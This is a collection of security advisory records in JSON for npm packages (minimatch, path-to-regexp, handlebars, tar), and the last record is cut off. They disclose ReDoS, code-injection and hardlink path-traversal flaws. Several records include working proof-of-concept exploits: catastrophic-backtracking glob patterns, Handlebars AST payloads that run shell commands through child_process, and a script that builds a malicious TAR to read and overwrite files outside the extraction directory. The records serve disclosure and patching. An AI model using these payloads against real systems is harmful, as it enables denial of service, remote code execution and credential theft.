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            "lang": "en",
            "value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
          },
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            "lang": "en",
            "value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
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            "lang": "en",
            "value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
          },
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            "lang": "en",
            "value": "RHSA-2026:9385: Red Hat OpenShift distributed tracing 3.9.3"
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            "lang": "en",
            "value": "RHSA-2026:10172: Red Hat Trusted Artifact Signer 1.3"
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            "value": "RHSA-2026:10153: Red Hat Trusted Artifact Signer 1.3"
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    "dateReserved": "2026-03-26T18:36:49.229Z",
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      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
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              "introduced": "10.0.0"
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              "fixed": "8.0.6"
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          "events": [
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              "introduced": "7.0.0"
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              "fixed": "7.4.8"
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      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
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              "fixed": "6.2.2"
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  "aliases": [
    "CVE-2026-27904"
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    "github_reviewed_at": "2026-02-26T22:07:15Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
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  "details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern              | Generated regex                          |\n|----------------------|------------------------------------------|\n| `*(a\\|b)`            | `/^(?:a\\|b)*$/`                          |\n| `*(*(a\\|b))`         | `/^(?:(?:a\\|b)*)*$/`                     |\n| `*(*(*(a\\|b)))`      | `/^(?:(?:(?:a\\|b)*)*)*$/`               |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/`          |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern              | Input              | Time       |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))`         | `a` x30 + `z`      | ~68,000ms  |\n| `*(*(*(a\\|b)))`      | `a` x20 + `z`      | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z`      | ~116,000ms |\n| `*(a\\|a)`            | `a` x25 + `z`      | ~2,000ms   |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern              | Time         |\n|-------|----------------------|--------------|\n| 1     | `*(a\\|b)`            | 0ms          |\n| 2     | `*(*(a\\|b))`         | 4ms          |\n| 3     | `*(*(*(a\\|b)))`      | 270ms        |\n| 4     | `*(*(*(*(a\\|b))))` | 115,000ms    |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n  const s = process.hrtime.bigint()\n  let result, error\n  try { result = fn() } catch(e) { error = e }\n  const ms = Number(process.hrtime.bigint() - s) / 1e6\n  return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n  let pat = \u0027a|b\u0027\n  for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n  console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\"          -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\"       -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\"    -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n  [\u0027*(*(*(a|b)))\u0027, 15],   // ~270ms\n  [\u0027*(*(*(a|b)))\u0027, 17],   // ~800ms\n  [\u0027*(*(*(a|b)))\u0027, 19],   // ~2400ms\n  [\u0027*(*(a|b))\u0027,    23],   // ~260ms\n  [\u0027*(a|b)\u0027,      101],   // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n  const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n  console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\"          -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\"       -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\"    -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\"    n=23: 257ms result=false\n\"*(a|b)\"       n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n  const url     = new URL(req.url, `http://localhost:${PORT}`)\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
  "id": "GHSA-23c5-xmqv-rm74",
  "modified": "2026-02-26T22:07:15Z",
  "published": "2026-02-26T22:07:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "path-to-regexp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T22:23:52Z",
    "nvd_published_at": "2026-03-26T19:17:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\n**Unsafe examples:**\n\n```\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n```\n\n**Safe examples:**\n\n```\n/*foo-:bar\n/*foo-:bar-*baz\n```\n\n### Patches\n\nUpgrade to version `8.4.0`.\n\n### Workarounds\n\nIf developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.",
  "id": "GHSA-27v5-c462-wpq7",
  "modified": "2026-03-27T22:23:52Z",
  "published": "2026-03-27T22:23:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-27v5-c462-wpq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pillarjs/path-to-regexp"
    },
    {
      "type": "WEB",
      "url": "https://makenowjust-labs.github.io/recheck/playground"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards"
}

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      "database_specific": {
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      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
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      "ranges": [
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          "events": [
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              "introduced": "4.0.0"
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              "fixed": "4.7.9"
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          "type": "ECOSYSTEM"
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  "aliases": [
    "CVE-2026-33937"
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  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:19:58Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== \u0027string\u0027) {\n    throw new TypeError(\u0027Template must be a string\u0027);\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.",
  "id": "GHSA-2w6w-674q-4c4q",
  "modified": "2026-03-27T21:52:17Z",
  "published": "2026-03-27T18:19:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-28T16:35:31Z",
    "nvd_published_at": "2026-01-28T01:16:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith(\u0027../\u0027)) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: \u0027/var/app/uploads/\u0027 })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry\u0027s parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system\u0027s `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 secret.txt          \u2190 sensitive file (target)\n\u251c\u2500\u2500 server.js           \u2190 vulnerable server\n\u251c\u2500\u2500 create-malicious-tar.js\n\u251c\u2500\u2500 verify.js\n\u2514\u2500\u2500 uploads/            \u2190 created automatically by server.js\n    \u2514\u2500\u2500 (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst tar = require(\u0027tar\u0027);\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, \u0027uploads\u0027);\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/upload\u0027) {\n    const chunks = [];\n    req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n    req.on(\u0027end\u0027, async () =\u003e {\n      fs.writeFileSync(path.join(UPLOAD_DIR, \u0027upload.tar\u0027), Buffer.concat(chunks));\n      await tar.extract({ file: path.join(UPLOAD_DIR, \u0027upload.tar\u0027), cwd: UPLOAD_DIR });\n      res.end(\u0027Extracted\\n\u0027);\n    });\n  } else if (req.method === \u0027GET\u0027 \u0026\u0026 req.url === \u0027/read\u0027) {\n    // Simulates app serving extracted files (e.g., file download, static assets)\n    const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n    if (fs.existsSync(targetPath)) {\n      res.end(fs.readFileSync(targetPath));\n    } else {\n      res.end(\u0027File not found\\n\u0027);\n    }\n  } else if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/write\u0027) {\n    // Simulates app writing to extracted file (e.g., config update, log append)\n    const chunks = [];\n    req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n    req.on(\u0027end\u0027, () =\u003e {\n      const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n      if (fs.existsSync(targetPath)) {\n        fs.writeFileSync(targetPath, Buffer.concat(chunks));\n        res.end(\u0027Written\\n\u0027);\n      } else {\n        res.end(\u0027File not found\\n\u0027);\n      }\n    });\n  } else {\n    res.end(\u0027POST /upload, GET /read, or POST /write\\n\u0027);\n  }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require(\u0027fs\u0027);\n\nfunction tarHeader(name, type, linkpath = \u0027\u0027, size = 0) {\n  const b = Buffer.alloc(512, 0);\n  b.write(name, 0); b.write(\u00270000644\u0027, 100); b.write(\u00270000000\u0027, 108);\n  b.write(\u00270000000\u0027, 116); b.write(size.toString(8).padStart(11, \u00270\u0027), 124);\n  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, \u00270\u0027), 136);\n  b.write(\u0027        \u0027, 148);\n  b[156] = type === \u0027dir\u0027 ? 53 : type === \u0027link\u0027 ? 49 : 48;\n  if (linkpath) b.write(linkpath, 157);\n  b.write(\u0027ustar\\x00\u0027, 257); b.write(\u002700\u0027, 263);\n  let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n  b.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\x00 \u0027, 148);\n  return b;\n}\n\n// Hardlink escapes to parent directory\u0027s secret.txt\nfs.writeFileSync(\u0027malicious.tar\u0027, Buffer.concat([\n  tarHeader(\u0027d/\u0027, \u0027dir\u0027),\n  tarHeader(\u0027d/x\u0027, \u0027link\u0027, \u0027../secret.txt\u0027),\n  Buffer.alloc(1024)\n]));\nconsole.log(\u0027Created malicious.tar\u0027);\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets",
  "id": "GHSA-34x7-hfp2-rc4v",
  "modified": "2026-01-28T16:35:31Z",
  "published": "2026-01-28T16:35:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:20:44Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field \u2014 breaks out of generated function call\n          depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.",
  "id": "GHSA-3mfm-83xf-c92r",
  "modified": "2026-03-27T21:52:26Z",
  "published": "2026-03-27T18:20:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
